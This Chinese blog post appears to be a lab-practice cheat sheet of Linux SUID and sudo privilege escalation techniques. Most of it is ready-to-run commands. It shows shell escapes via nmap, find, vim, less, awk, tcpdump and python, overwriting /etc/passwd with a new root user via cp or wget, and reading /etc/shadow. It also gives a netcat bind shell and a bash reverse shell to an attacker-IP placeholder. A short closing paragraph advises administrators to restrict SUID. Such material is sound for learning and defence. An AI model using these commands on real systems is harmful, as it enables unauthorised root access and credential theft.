前言
最近打靶場的時候最后都會涉及到提權,所以想著總結一下,
SUID提權原理
SUID(設定用戶ID)是賦予檔案的一種權限,它會出現在檔案擁有者權限的執行位上,具有這種權限的檔案會在其執行時,使呼叫者暫時獲得該檔案擁有者的權限,
那么,為什么要給Linux二進制檔案設定這種權限呢?其實原因有很多,例如,程式ping需要root權限才能打開網路套接字,但執行該程式的用戶通常都是由普通用戶,來驗證與其他主機的連通性,
但是,如果某些現有的二進制檔案和實用程式具有SUID權限的話,就可以在執行時將權限提升為root,
比如password的權限:

用戶可以輸入自己的密碼或者不需要密碼在root權限下執行命令,這可在設定檔案 /etc/sudoers 中配置
1.1 /etc/sudoers 語法
root ALL=(ALL) ALL
root 用戶可以從 ALL(任何)終端執行,充當ALL(任何)用戶,并運行ALL(任何)命令,第一部分指定用戶,第二部分指定可充當用戶,第三部分指定 sudo 可運行的命令,
touhid ALL= /sbin/poweroff
輸入 touchid 的密碼,可以 sudo 執行 poweroff 命令,
touhid ALL = (root) NOPASSWD: /usr/bin/find
不輸入密碼,可以 sudo 執行 find 命令
1.2 查找具有 SUID 權限位檔案
以下命令可以找到正在系統上運行的所有SUID可執行檔案,準確的說,這個命令將從/目錄中查找具有SUID權限位且屬主為root的檔案并輸出它們,然后將所有錯誤重定向到/dev/null,從而僅列出該用戶具有訪問權限的那些二進制檔案,
# suid權限值就是4000,下面兩個陳述句一個意思
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
也可以使用 sudo -l 命令列出當前用戶可執行的命令:

常用的提權方式
2.1 nmap
nmap(2.02-5.21)存在交換模式,可利用提權
nmap --interactive
之后執行:
nmap> !sh
sh-3.2# whoami
root
msf中的模塊為:
exploit/unix/local/setuid_nmap
較新版可使用 --script 引數:
echo "os.execute('/bin/sh')" > /tmp/shell.nse && sudo nmap --script=/tmp/shell.nse
2.2 find
find比較常用,find用來在系統中查找檔案,同時,它也有執行命令的能力, 因此,如果配置為使用SUID權限運行,則可以通過find執行的命令都將以root身份去運行,
touch test
find test -exec whoami \;
進入shell
find test -exec '/bin/sh' \;
sh-5.0# whoami
root
linux一般都安裝了nc 我們也可以利用nc 廣播或反彈shell
廣播shell:
find test -exec netcat -lvp 5555 -e /bin/sh \;
kali(攻擊機)上:
nc 靶機ip 4444
反彈shell:
find test -exec bash -c 'bash -i >& /dev/tcp/攻擊機IP/4444 0>&1' \;
kali(攻擊機)上:
nc -lvnp 4444
2.3 vi/vim
打開vim,按下ESC
:set shell=/bin/sh
:shell
或者
sudo vim -c '!sh'
2.4 bash
bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)
2.5 less
注意事項:我記得less跟more提權的時候那個命令列要拉低一點,不能在一頁顯示完檔案才行(要注意的是使用more和less一定讀取一個比較大的檔案,如果檔案太小無法進入翻頁功能也就無法使用!命令進入shell)
less /etc/passwd
!/bin/sh
2.6 more
more /home/pelle/myfile
!/bin/bash
2.7 cp
覆寫 /etc/shadow 或 /etc/passwd
[zabbix@localhost ~]$ cat /etc/passwd >passwd
2.[zabbix@localhost ~]$ openssl passwd -1 -salt hack hack123
3.$1$hack$WTn0dk2QjNeKfl.DHOUue0
4.[zabbix@localhost ~]$ echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash' >> passwd
5.[zabbix@localhost ~]$ cp passwd /etc/passwd
6.[zabbix@localhost ~]$ su - hack
7.Password:
8.[root@361way ~]# id
9.uid=0(hack) gid=0(root) groups=0(root)
10.[root@361way ~]# cat /etc/passwd|tail -1
11.hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash
2.8 mv
覆寫 /etc/shadow 或 /etc/passwd
2.9 nano
nano也算是比較上古的文本編輯器了
nano進入shell的方法為
nano #進入nano編輯器
Ctrl + R
Ctrl + X
#即可輸入命令
2.10 awk
awk 'BEGIN {system("/bin/sh")}'
2.11 man
man passwd
!/bin/bash
2.12 wget
wget http://192.168.56.1:8080/passwd -O /etc/passwd
2.13 apache
僅可查看檔案,不能彈 shell:
apache2 -f /etc/shadow
2.14 tcpdump
echo $'id\ncat /etc/shadow' > /tmp/.test
chmod +x /tmp/.test
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root
2.15 python/perl/ruby/lua/php/etc
python:
python -c "import os;os.system('/bin/bash')"
perl:
exec "/bin/bash";
其他的語言反彈shell參考以下鏈接:
https://weibell.github.io/reverse-shell-generator/
參考鏈接:
- Abusing SUDO (Linux Privilege Escalation)
- 【安全科普】Linux提權——利用可執行檔案SUID
- linux特殊權限SUID、SGID、SBIT
- SUID 提權 - CoColi丶
- SUID Privilege Escalation - Evi1cg
防范
SUID提權由來已久,屬于一種古早的提權技術,但其生命力經久不衰,
這要求管理員要仔細研究具有SUID權限的檔案,不要給易被利用的檔案以SUID權限,防止SUID的濫用導致黑客在進入服務器時輕易獲取root權限,
有什么錯誤或者改進意見歡迎評論或發給我噢!大家一起共同學習!大佬多指教!!!!轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/467965.html
標籤:其他
上一篇:微信聊天內容可以被監聽嗎
